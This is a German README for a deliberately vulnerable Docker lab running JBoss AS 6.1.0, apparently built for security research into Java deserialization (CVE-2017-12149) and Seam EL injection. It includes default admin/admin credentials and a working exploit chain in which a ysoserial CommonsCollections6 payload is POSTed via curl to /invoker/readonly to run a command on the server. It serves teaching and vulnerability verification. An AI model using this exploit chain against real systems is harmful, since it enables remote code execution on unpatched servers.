
Containerisierte JBoss-AS-6.1.0-Forschungsumgebung zur Demonstration von Java-Deserialisierung (CVE-2017-12149) und JBoss-Seam-EL-Injection-Schwachstellen mit vorkonfigurierten Schritten zur Exploit-Verifizierung.
Viele kritische Branchen (Banken, Gesundheitswesen und Fertigung) verlassen sich auf Legacy-Middleware, die speziell für den Betrieb auf JBoss 5 oder 6 entwickelt wurde. Da diese Anwendungen oft zu fragil sind, um auf moderne Versionen von WildFly (den Nachfolger von JBoss) migriert zu werden, entscheiden sich Organisationen dafür, sie per „Air-Gap“ zu isolieren oder hinter VPNs zu verstecken, anstatt sie zu patchen. Wenn diese Perimeterschutzmaßnahmen versagen, ist die Schwachstelle immer noch vorhanden – live und ungepatcht.
Dieses Repository stellt eine containerisierte Umgebung mit JBoss Application Server 6.1.0 bereit, die speziell für Sicherheitsforschung und Schwachstellenverifizierung konfiguriert ist. Es soll Schwachstellen im Zusammenhang mit Java-Deserialisierung und JBoss Seam EL Injection demonstrieren.
Um sicherzustellen, dass die benutzerdefinierten Anmeldedaten und Konfigurationen korrekt angewendet werden, erstellen Sie den Container von Grund auf:
docker-compose build --no-cache
docker-compose up -d
JBoss-Konsole: http://localhost:8080/admin-console/
Benutzername: admin
Passwort: admin
Verifizierte Schwachstellen
Der zuverlässigste Exploit-Pfad in dieser Umgebung führt über den HTTPServerILServlet unter /invoker/readonly.
Verifizierungsschritte:
Erzeugen Sie ein Payload mit ysoserial, um eine Datei in /tmp zu erstellen:
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
Senden Sie das binäre Payload über curl:
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
Bestätigen Sie, dass der Exploit funktioniert hat:
docker exec -it jboss-custom-lab ls /tmp/pwned
Sicherheitshinweis Diese Umgebung ist absichtlich verwundbar. Sie enthält ungepatchte Software am Ende ihres Lebenszyklus (End-of-Life).
Stellen Sie dies NICHT auf einem öffentlich erreichbaren Server bereit.
Verwenden Sie diese Tools NICHT auf Systemen, für die Sie keine ausdrückliche Genehmigung zum Testen haben.
Entwickelt für Bildungszwecke und Sicherheitsforschung.
Abhängigkeiten: https://github.com/frohoff/ysoserial